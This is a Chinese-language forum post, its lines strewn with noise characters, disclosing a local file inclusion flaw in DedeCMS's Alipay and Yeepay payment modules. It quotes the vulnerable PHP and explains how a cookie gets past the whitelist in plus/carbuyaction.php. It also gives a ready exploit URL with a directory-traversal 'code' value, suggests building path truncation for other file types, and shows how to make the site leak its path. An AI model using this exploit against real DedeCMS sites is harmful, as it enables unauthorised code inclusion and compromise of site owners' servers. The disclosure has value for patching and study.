晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
) U# [/ T$ ?+ B+ F: x" d) A( k, `* d1 ^* l- h |, X
出现漏洞的两个文件为:
. Z+ S, O: l0 z; ^4 eInclude/payment/alipay.php
' W! h' q2 a! \: V2 e% ]* V1 @Include/payment/yeepay.php
) k$ Z0 {3 H4 N! ~2 W/ y, X漏洞均出现在respond方法里,估计这两个文件是临时工写的。0 E& a+ l% i4 f: _
2 v$ o/ L/ B/ h( F6 k0 H; MInclude/payment/alipay.php
+ E& ~- }, M) j% _9 h; S
0 m% E9 m4 \. D! a* G......
& x8 f+ {4 ^; x! C7 W& k! [ function respond()
^& p9 \: z/ [+ U {
8 \& T( ^& f1 e% F1 Z8 z if (!empty($_POST))) E& h6 A8 a& x5 G4 D! y% R
{
Q, v9 S0 I& k8 |0 L. B+ L foreach($_POST as $key => $data)
; Q* r6 |! z. r8 n( l1 o0 C8 L& f- ] {5 J# e3 r, a0 Q) m) Q& ~7 m
$_GET[$key] = $data;
, n$ S9 N) f0 m% ^9 J5 w( F }3 R" f( R( _( R8 y' U4 W
}: R% Q2 Q& E: ]! z) H e' f
/* 引入配置文件 */6 b/ q" ~% `& ~9 z
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
( m5 f8 `7 }/ s" f) o% ^...... / i7 C" G7 [ x/ J: n, M4 ]
. E( ~7 ^, K: j, H" c3 C$ f1 L% V
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。- v- z6 H( z& Z ]& C7 O
! d4 f9 b* r7 Z( \: @7 d
Include/payment/yeepay.php
# V8 _! \1 O6 m' b6 U; X2 \! h- A: F) P3 I! R
- O* E2 |$ F9 [7 w: A# D+ S( H- f9 {# X, o" z
......" S4 K) T6 p7 D2 g3 e) D
function respond()
0 h1 j% n. g' Z H {' v! C u2 N; ^7 G* C7 S/ x- O9 n1 B
: `$ [ R) _) o1 X
/* 引入配置文件 */
7 L- z' Q% X! V6 X/ o2 e% H1 \ require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';7 |: h9 A1 C; w8 l0 F& C
# s9 Y! L7 ?" ~$ }- f $p1_MerId = trim($payment['yp_account']);
1 ]/ @* Q5 }4 J0 d5 X" g $merchantKey = trim($payment['yp_key']);
& x/ k" ?2 N: v7 \...... , @; W& v4 I3 Z) ^
0 W. W* C- n2 L5 H$ L* g- W u; c) n; o9 C* p
; A$ i% q5 v" Z! u" x# m$ h/ ~3 M/ x! y
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
: ^6 j3 ]8 R) G# L) ~
- F$ H* D" i" `% d这两个方法在plus/carbuyaction.php文件调用。% r: Z# r# h0 _
, S& {8 L. Y$ T7 w" ~4 I M9 U
plus/carbuyaction.php
4 P0 a: S, I9 j- i* j
% N5 A: o$ O$ M z....... m+ ?& F( |/ {3 U! P
} else if ($dopost == 'return') {, f8 I. G+ `3 d; Q
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
7 t @( o6 b: J6 e if (in_array($code, $write_list))
& e2 a* N( n2 C$ ? {$ n, ?9 a# l- e
require_once DEDEINC.'/payment/'.$code.'.php';3 h. g+ ^7 _; c) a
$pay = new $code;
, [4 g5 _& b9 s2 r! h. o& a $msg=$pay->respond();, y+ C# x- B4 l
ShowMsg($msg, "javascript:;", 0, 3000);
* W; ?- j- e$ ~2 d) V exit();
- }8 S) F2 S. R( Z* M } else {
, i0 t; b6 W. y1 c exit('Error:File Type Can\'t Recognized!');7 b: ]4 L9 E* u
}
8 `0 R2 F1 P) V; t& X}
: `* G3 N* A! h1 g4 U......
- k' X2 O+ U. ~; l4 Y/ ^* [
* ?2 ~' \7 Q) h r7 i" q I! ~& W- Y. s$ d1 ~0 Q: t9 G# U% Q$ t- A- `
0 c8 `9 K) u/ ^' W
* ~' ]+ ^8 C$ C/ o2 E4 X- t8 u( g
' ^! L* Q1 k$ x
0 c, l/ X; @3 N大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。' F* \6 j* ]" Q( y9 A9 R/ Y6 h* h
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。, X2 Y3 r+ }% p: n
/ m0 W% a5 i6 N2 T! m回到include/common.inc.php来看看他的机制。
' G/ a k. D' V' y# Y& c4 a! {) l* m4 D) K$ ]6 O
# y7 A9 X7 _7 j ]8 s
0 s& F2 [8 r9 F......3 f# @, Z9 s. ]( V q
foreach(Array('_GET','_POST','_COOKIE') as $_request)) ^6 ]3 F5 D% w2 |- [, U0 p
{5 m) z( {1 v" H* b; u
foreach($$_request as $_k => $_v) 2 p) \3 d5 N( O5 v! q# j/ u
{4 \) E! \) X% r2 `2 x/ u" I
if($_k == 'nvarname') ${$_k} = $_v;9 I! h! O' r4 a6 j2 X0 z. b
else ${$_k} = _RunMagicQuotes($_v);& n1 R, j- z9 y8 e) I* e( o' J1 i
}. b# N! Z5 Z; A. L
}, y9 {# Q, d- l. K2 a1 U: K6 F
......
9 i; Q4 h2 j, j9 B. q* Q3 c大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:, F8 v1 \9 C- m; C
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |